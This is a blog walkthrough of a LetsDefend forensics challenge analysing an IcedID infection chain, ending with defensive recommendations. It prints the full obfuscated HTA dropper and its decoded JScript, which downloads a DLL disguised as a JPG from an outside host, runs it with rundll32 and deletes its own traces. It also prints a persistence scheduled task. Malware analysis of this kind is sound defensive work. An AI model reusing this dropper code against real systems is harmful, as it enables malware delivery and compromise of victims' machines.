LetsDefend has released a new DFIR challenge called “IcedID Malware Family.” Let’s walk through this investigation together and answer questions for this challenge!

Attempt the challenge on your own first! If you get stuck, then refer to the guide. If you finished the challenge, comparing your analysis process to the one in this guide may help you improve.

There is not a lot of instruction accompanying this challenge, so we will just analyze the provided ZIP file contents.

So let’s start by downloading the zip file and unpacking it.

Before we continue, we need to read through the 15 questions we need to answer to solve this challenge. Make sure you keep the questions in mind while we do our analysis.


Investigation Prep-work

For this investigation, I will be using the following forensic tools.

I do my forensics within a dedicated VM running SANS SIFT plus SANS ReMnux(basically Ubuntu with pre-installed packages). So my screenshots may look slightly different compared to what you see in Windows.


File Analysis

We can start by looking at the files included within the downloaded ZIP file.

file listing

Let’s dig a little deeper into these files. Let’s pull the hashes and confirm their file types. Use the “sha256sum”(Linux) or “Get-FileHash -Algorithm SHA256″(Windows) commands to get a SHA256 hash of the files.

File Details image

Ok, we have the SHA256 hashes of the files and can use those to search VirusTotal for more details.

We can now answer questions 1, 3, & 5

A big red flag here is the “collectionBoxConst.jpg” actually being a “PE32+ executable (DLL) (GUI) x86-64, for MS Windows” file.


Malicious Word Doc

This challenge lacks a clear timeline. We are just given some files and told to answer questions. Without context and background, we have to guess why each file is in the ZIP file of the challenge. Due to not having a clear direction, I will start investigating the Word Doc file. The Word Doc file seems a good place to start based on the questions.

To start, I will use “pcode2code” to show the macros within the “docs 06.02.2021.doc” file. Sure enough, there are macros within the DOC file.

pcode2code macros

We could take the “docs 06.02.2021.doc” file and upload it to Any.Run for analysis, but it may not work. The issue with aging malware is the infrastructure that a malware sample relies on is offline because it’s malicious. So when we run this sample months after it’s compiled, it likely will not work. To get around this, we can search Any.Run using the file hash and review saved sessions from months or years ago. The best Any.Run saved-session I found for this malware can be found here.

Any.Run session

Reviewing the processes, we can see the DOC file macro calls the below process.

explorer.exe collectionBoxConst.hta

We can now answer question number 2

This indicates the “collectionBoxConst.hta” file contains additional malicious code. Let’s review the “collectionBoxConst.hta” file. If you open this file in Notepad, you will see it is a single line filled with a full HTML page. We can use an online tool called CodeBeautify to clean up the code to make it more human readable.

After cleaning up the code, we can read through it to see what it does. Below is the code cleaned up, and I added comments to the code explaining what it is doing.

<html>
  <body>
    <!---   <<--  This string Blob is Base64 encoded(except the end) commands. ---->
    <div id='copyCurrencyMemory'>fX17KWUoaGN0YWN9O2Vzb2xjLnRzTHJhdjspMiAsImdwai50c25vQ3hvQm5vaXRjZWxsb2NcXGNpbGJ1cFxcc3Jlc3VcXDpjIihlbGlmb3RldmFzLnRzTHJhdjspeWRvYmVzbm9wc2VyLlJyZWdldG5JZXRhZChldGlydy50c0xyYXY7MSA9IGVweXQudHNMcmF2O25lcG8udHNMcmF2OykibWFlcnRzLmJkb2RhIih0Y2VqYk9YZXZpdGNBIHdlbiA9IHRzTHJhdiByYXZ7eXJ0eykwMDIgPT0gc3V0YXRzLlJyZWdldG5JZXRhZChmaTspKGRuZXMuUnJlZ2V0bklldGFkOyllc2xhZiAsIkNYTWpPb0dUNDJDV2JNNzZzMWN3RD1xJjA5TWtubFF2WkdCQUYyRGRGUlZ5TDEyZ2dWWnU9aGNyYWVzJlQyOTJEb01IbT1yZXN1JmZwNHJWPWRpJnllRFBPWGREUDZJNGhXeDlqaD1xJm5mVWcwczladENhVnk9dUp3Uzl5OWkmSmk4bjJLMT1lZ2FwJm5GdmVJckh5NUZMWjExWFV5RDRnY2JvcTA9ZW1pdCZ2YmZrSXNSbmE9cmVzdT81ZXNvcy9OUElyR2drUDZSQUFIVlZLQ2NlUngwVlZCNlR1dEx6emlOUUovN1lXeGlRQWtPbk9CeDUvVC9hZGRhL21vYy56ZXJ1bGNjbWVzcnVvYy8vOnB0dGgiICwiVEVHIihuZXBvLlJyZWdldG5JZXRhZDspInB0dGhsbXguMmxteHNtIih0Y2VqYk9YZXZpdGNBIHdlbiA9IFJyZWdldG5JZXRhZCByYXY=aGVsbG8fXspdHhlTnhlZG5JeGVkbmkoaGN0YWN9Oyl0Y2VqYk9Wb3BlcihlbGlmZXRlbGVkLnRjdXJ0U0xzZXR5YjsiYXRoLnRzbm9DeG9Cbm9pdGNlbGxvY1xcIiArIHlyb3RjZXJpRHRuZXJydUMudHNub0NlY25lcmVmZVJ0c3VydCA9IHRjZWpiT1ZvcGVye3lydDspInRpbkluaWd1bFAsZ3BqLnRzbm9DeG9Cbm9pdGNlbGxvY1xcY2lsYnVwXFxzcmVzdVxcOmMgMjNsbGRudXIiKG51ci50c25vQ2VjbmVyZWZlUnRzdXJ0OykidGNlamJvbWV0c3lzZWxpZi5nbml0cGlyY3MiKHRjZWpiT1hldml0Y0Egd2VuID0gdGN1cnRTTHNldHliIHJhdjspImxsZWhzLnRwaXJjc3ciKHRjZWpiT1hldml0Y0Egd2VuID0gdHNub0NlY25lcmVmZVJ0c3VydCByYXY=aGVsbG8msscriptcontrol.scriptcontrol</div>

    <!---   <<--  This string is needed for the Base64 Converter funtion. ---->
    <div id='vConstBorder'>ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/</div> <!---   <<--  This stirng is needed for the Base64 Converter funtion. ---->
    <script language='javascript'>
  
      function WLongPtr(altListVba) {
        return (new ActiveXObject(altListVba));
      }

      function objButtBool(headerListbox) {
        return (removeConstFunction.getElementById(headerListbox).innerHTML);
      }

      function boolOptionClass() {
        return (objButtBool('vConstBorder'));
      }

//  <<-- This function is a Base64 decoder. Give it a Base64 string and it will Decode it back to clear text. This is a one way process.
      function sinBooleanCur(s) {  
        var e = {};
        var i;
        var b = 0;
        var c;
        var x;
        var l = 0;
        var a;
        var memSetByte = '';
        var w = String.fromCharCode;
        var L = s.length;
        var intBorder = zeroI('tArahc');  // <<-- reversed string, 'tArahc' == 'charAt'
        for (i = 0; i < 64; i++) {
          e[boolOptionClass()[intBorder](i)] = i; 
        }
        for (x = 0; x < L; x++) {
          c = e[s[intBorder](x)];
          b=(b<<6)+c;
          l += 6;
          while (l >= 8) {
            ((a = (b >>> (l -= 8)) & 0xff) || (x < (L - 2))) && (memSetByte += w(a));
          }
        }
        return (memSetByte);
      };

      function zeroI(genTempTextbox) {  // <<-- This fuction takes a given string and reverses it by character.
        return genTempTextbox.split('').reverse().join('');  // <<-- Simple reverse the string given to the function.
      }

      procDocumentI = window;
      removeConstFunction = document;
      procDocumentI.resizeTo(1, 1); // <<-- makes the window verry small, to hide itself.
      procDocumentI.moveTo(-100, -100); // <<-- Move window to try and hide from the user.
      var genericBoolean = removeConstFunction.getElementById('copyCurrencyMemory').innerHTML.split("aGVsbG8"); // <<-- takes the long base64 looking string and the top and splits it at 'aGVsbG8'(the aGVsbG8 ia removed). This create an array of 3 variables.
      var collectRightSingle = zeroI(sinBooleanCur(genericBoolean[0])); //  <<-- The first string from the blob is Base64 decoded, then reversed(in this case normalized).
      var vData = zeroI(sinBooleanCur(genericBoolean[1]));  //  <<-- The second string from the blob is Base64 decoded, then reversed(in this case normalized).
      var viewPointerConvert = genericBoolean[2];  // <<-- This is third string from the blob, it si plain text and = 'msscriptcontrol.scriptcontrol'
      ////
      window.alert(collectRightSingle); // <<-- I added this to output the deobfuscated command in plain text.
      window.alert(vData);  // <<-- I added this to output the deobfuscated command in plain text.
      ////
    </script>

    <script language='vbscript'>
    Function classResponseLocal(copyCurrencyMemory)  // <<-- main purpose of this funtion is to run commands.
      Set snglSngTpl = CreateObject(viewPointerConvert)  // <<-- Creates a msscriptcontrol.scriptcontrol object in memory
      With snglSngTpl
        .language = "jscript"
        .timeout = 60000
        .eval(copyCurrencyMemory)  // <<-- Runs(or Evals) the a given command.
      End With
     End Function
    </script>

    <script language='vbscript'>
      Call classResponseLocal(collectRightSingle) // ' <<--  Run deobfuscated command #1.
    </script>
    <script language='vbscript'>
      Call classResponseLocal(vData) // ' <<--   Run deobfuscated command #2.
    </script>

    <script language='javascript'>
      procDocumentI['close'](); //  <<-- Closes the webpage.
    </script>

  </body>
</html>

So what is happening here? Well, a few things. There are two Base64 encoded and reversed commands embedded at the top of the script. The JavaScript part of the script decodes and normalizes the embedded commands, while the VB Script part executes the deobfuscated commands.

Deobfuscated Command Number 1

Deobfuscated Commands number 1
var dateIntegerR = new ActiveXObject("msxml2.xmlhttp");
dateIntegerR.open("GET", "http://coursemcclurez.com/adda/T/5xBOnOkAQixWY7/JQNizzLtuT6BVV0xRecCKVVHAAR6PkgGrIPN/sose5?user=anRsIkfbv&time=0qobcg4DyUX11ZLF5yHrIevFn&page=1K2n8iJ&i9y9SwJu=yVaCtZ9s0gUfn&q=hj9xWh4I6PDdXOPDey&id=Vr4pf&user=mHMoD292T&search=uZVgg21LyVRFdD2FABGZvQlnkM90&q=Dwc1s67MbWC24TGoOjMXC", false);
dateIntegerR.send();
if (dateIntegerR.status == 200) {
  try {
    var varLst = new ActiveXObject("adodb.stream");
    varLst.open;
    varLst.type = 1;
    varLst.write(dateIntegerR.responsebody);
    varLst.savetofile("c:\\users\\public\\collectionBoxConst.jpg", 2);
    varLst.close;
  } catch (e) {}
}

The command above makes a web request to “coursemcclurez.com” and downloads “collectionBoxConst.jpg” file. This file is actually a DLL file, not a JPG.

We can now answer question number 7

Deobfuscated Command Number 2

Deobfuscated Commands number 2
var trustReferenceConst = new ActiveXObject("wscript.shell");
var bytesLStruct = new ActiveXObject("scripting.filesystemobject");
trustReferenceConst.run("rundll32 c:\\users\\public\\collectionBoxConst.jpg,PluginInit");
try {
  repoVObject = trustReferenceConst.CurrentDirectory + "\\collectionBoxConst.hta";
  bytesLStruct.deletefile(repoVObject);
} catch (indexIndexNext) {}

The command above launches the newly downloaded DLL file, “collectionBoxConst.jpg”, using “rundll32”. Then it tries to delete the original “collectionBoxConst.hta” file.

We can see these events play out in the below process tree.

Malware process chain.

We can now answer question number 4


Network Traffic Analysis

Due to the malware support infrastructure being down, we cannot run a live analysis for the rest of the malware parts(DLL). We will need to rely on the provided PCAP file we were given. Open the PCAP file with NetworkMiner.

Let’s start by confirming the malicious DLL download we previously found. Go to the “Parameters” tab and add the filter keywords “get post”, and change the filtering rule to “AnyWord”.

NetworkMiner parameter search

We do find the HTTP GET request and the IP address that resolved to “coursemcclurez.com”; 45.142.213.105.

We can now answer question number 6

Sessions Timeline

Let’s look through the session data to see what other network connections were made. Navigate to the “Sessions” tab and sort the list by “Frame nr.” Sorting the list like this gives us an ordered timeline of events. Since we know the “coursemcclurez.com” HTTP request comes from the Word Doc macro, we can assume the rest of the network connections are created by “collectionBoxConst.jpg”.

NetworkMiner Sessions timeline

We can now answer questions 8, 9, 10, & 11.

Downloader to Persistence Malware

The last interesting piece is the “index.gzip” file that downloads from “supplementik.top” by the “collectionBoxConst.jpg”(DLL file) malware.

Files Downloaded
index.gzip file details

This file claims to be a GZIP file, but it will not extract and appears corrupt.

index.gzip file details

There seems to be no way to extract the “index.gzip” file; every compression tool said the file is corrupt. The VirusTotal page did not help either. I located other malware analyses indicating that the GZIP file downloaded is a DLL file with more malicious code. So I am assuming the additional code within the “index.gzip” is for setting up persistence on the system. Without a complete dynamic sandbox analysis, I cannot know for sure.

Update!

As I was posting this walkthrough, The SANS Internet Storm Center(ISC) posted a blog on IcedID malware samples in the wild as of 8.22.2022. The post details that the GZIP file contains the license.dat and IcedID DLL for persistence. This confirms our suspicions of what the “index.gzip” file is used for.

IcedID Malware infection chain
Credit: Brad Duncan post on ISC Blog

Persistence

We can guess the persistence method is through a scheduled task based on the questions and the remaining files. Let’s review the “2021-06-02-scheduled-task.txt” file to determine how persistence is maintained.

<?xml version="1.0" encoding="UTF-16"?>
<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">
  <RegistrationInfo>
    <URI>\{B9C2BAC4-FDCF-449C-896A-9BEA1C23FBE8}</URI>
  </RegistrationInfo>
  <Triggers>
    <TimeTrigger id="TimeTrigger">
      <Repetition>
        <Interval>PT1H</Interval>
        <StopAtDurationEnd>false</StopAtDurationEnd>
      </Repetition>
      <StartBoundary>2012-01-01T12:00:00</StartBoundary>
      <Enabled>true</Enabled>
    </TimeTrigger>
    <LogonTrigger id="LogonTrigger">
      <Enabled>true</Enabled>
      <UserId>user1</UserId>
    </LogonTrigger>
  </Triggers>
  <Settings>
    <MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy>
    <DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>
    <StopIfGoingOnBatteries>false</StopIfGoingOnBatteries>
    <AllowHardTerminate>false</AllowHardTerminate>
    <StartWhenAvailable>true</StartWhenAvailable>
    <RunOnlyIfNetworkAvailable>false</RunOnlyIfNetworkAvailable>
    <IdleSettings>
      <Duration>PT10M</Duration>
      <WaitTimeout>PT1H</WaitTimeout>
      <StopOnIdleEnd>true</StopOnIdleEnd>
      <RestartOnIdle>false</RestartOnIdle>
    </IdleSettings>
    <AllowStartOnDemand>true</AllowStartOnDemand>
    <Enabled>true</Enabled>
    <Hidden>false</Hidden>
    <RunOnlyIfIdle>false</RunOnlyIfIdle>
    <WakeToRun>false</WakeToRun>
    <ExecutionTimeLimit>PT0S</ExecutionTimeLimit>
    <Priority>7</Priority>
  </Settings>
  <Actions Context="Author">
    <Exec>
      <Command>rundll32.exe</Command>
      <Arguments>"C:\Users\user1\AppData\Local\user1\Tetoomdu64.dll",update /i:"ComicFantasy\license.dat"</Arguments>
    </Exec>
  </Actions>
  <Principals>
    <Principal id="Author">
      <UserId>LAPTOP-SH63S8O\user1</UserId>
      <LogonType>InteractiveToken</LogonType>
      <RunLevel>LeastPrivilege</RunLevel>
    </Principal>
  </Principals>
</Task>

A review of the “2021-06-02-scheduled-task.txt” file indicates the scheduled task will launch “Tetoomdu64.dll” and inject “license.dat” into the DLL. This task will run at the time the user logs into the system.

We can now answer question 12!


IcedID Malware Family

At this point, the malware family this sample is from should be clear. The name has been on nearly all analysis web tools.

We can now answer question 13!

To build a better defense against this malware family, we can use the online tool MITRE ATT&CK map. MITRE ATT&CK tracks tactics, techniques, and procedures of malware and APTs are known to use in their attacks. Head over to the MITRE ATT&CK website and search for IcedID. You should find the intel page on the software with details of how the malware operates. On this page, you will also find a list of Threat Actors who use the IcedID software.

MITRE IcedID Malware intel page.

On the same intel page, you can find the ATT&CK Navigator link. The ATT&CK Navigator is a web-based tool for annotating and exploring ATT&CK matrices. We can use this to explore how the malware has been known to operate.

We can now answer questions 14 & 15!


Incident Response Postmortem

This DFIR comes from a simulated event, but let’s treat this as if this was an actual event. What have we learned from this incident, and how can we protect ourselves in the future?

Malicious Behaviors to Block

  • Office macros launching “.HTA” files to execute code with “msHTA.exe”.
  • Office being able to launch child processes.
  • Any “.HTA” file can run VB-Script or JavaScript on the system.

Defensive Layers to Mitigate the Attack

  • Enable Attack Surface Reduction(ASR) and configure the “Block all Office applications from creating child processes” rule.
  • Modify systems Registry to unlink “.HTA” file extensions from “%SystemRoot%\system32\mshta.exe”. Really how often does anyone need to run “.HTA” files?

To build the defensive layers to this attack, see my other post, “What You Need to Know to Defend Against CVE-2022-30190!“. The defenses I outline there are easily tweaked to work for this attack.